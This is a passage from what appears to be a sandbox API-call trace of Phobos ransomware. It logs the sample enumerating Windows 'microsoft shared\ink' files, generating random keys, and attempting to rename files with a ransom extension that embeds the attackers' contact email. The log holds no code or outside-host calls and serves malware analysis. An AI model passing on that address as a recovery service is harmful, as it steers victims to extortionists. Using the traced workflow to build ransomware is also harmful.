(lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.324] SetEvent (hEvent=0x2e8) returned 1 [0049.324] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0049.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.325] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=498624) returned 1 [0049.325] CloseHandle (hObject=0x318) returned 1 [0049.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0049.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.326] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.326] SetEvent (hEvent=0x2e8) returned 1 [0049.326] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0049.326] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.328] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=2515696) returned 1 [0049.328] CloseHandle (hObject=0x318) returned 1 [0049.328] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0x20 [0049.328] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0049.330] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0 [0049.331] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0049.331] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.339] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=2592) returned 1 [0049.339] CloseHandle (hObject=0x318) returned 1 [0049.339] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0049.339] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.340] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.341] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0049.342] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.343] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=2556) returned 1 [0049.343] CloseHandle (hObject=0x318) returned 1 [0049.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0049.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.344] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.345] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0049.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.347] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=2578) returned 1 [0049.347] CloseHandle (hObject=0x318) returned 1 [0049.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0049.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.347] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.348] SetEvent (hEvent=0x2e8) returned 1 [0049.348] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0049.348] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0049.542] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=3024) returned 1 [0049.542] CloseHandle (hObject=0x320) returned 1 [0049.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20 [0049.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.542] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.542] SetEvent (hEvent=0x2e8) returned 1 [0049.543] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0049.543] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.375] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=2658) returned 1 [0050.375] CloseHandle (hObject=0x320) returned 1 [0050.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20 [0050.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.375] SetEvent (hEvent=0x2e8) returned 1 [0050.376] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0050.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.376] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=2532) returned 1 [0050.376] CloseHandle (hObject=0x320) returned 1 [0050.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml")) returned 0x20 [0050.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.377] SetEvent (hEvent=0x2e8) returned 1 [0050.377] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0050.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.377] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=2518) returned 1 [0050.377] CloseHandle (hObject=0x320) returned 1 [0050.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml")) returned 0x20 [0050.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.377] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0050.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.378] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=2652) returned 1 [0050.378] CloseHandle (hObject=0x320) returned 1 [0050.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0050.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.378] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0050.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.378] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=2570) returned 1 [0050.378] CloseHandle (hObject=0x320) returned 1 [0050.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml")) returned 0x20 [0050.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.379] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0050.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.379] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=2526) returned 1 [0050.379] CloseHandle (hObject=0x320) returned 1 [0050.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20 [0050.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.380] SetEvent (hEvent=0x2e8) returned 1 [0050.380] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0050.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.380] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=2522) returned 1 [0050.380] CloseHandle (hObject=0x320) returned 1 [0050.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20 [0050.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.380] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0050.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.380] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=2568) returned 1 [0050.380] CloseHandle (hObject=0x320) returned 1 [0050.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20 [0050.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.381] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0050.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.381] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=2626) returned 1 [0050.381] CloseHandle (hObject=0x320) returned 1 [0050.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20 [0050.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.381] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0050.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.382] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=2580) returned 1 [0050.382] CloseHandle (hObject=0x320) returned 1 [0050.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml")) returned 0x20 [0050.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.382] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0050.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.383] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=2600) returned 1 [0050.383] CloseHandle (hObject=0x320) returned 1 [0050.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml")) returned 0x20 [0050.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.383] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" 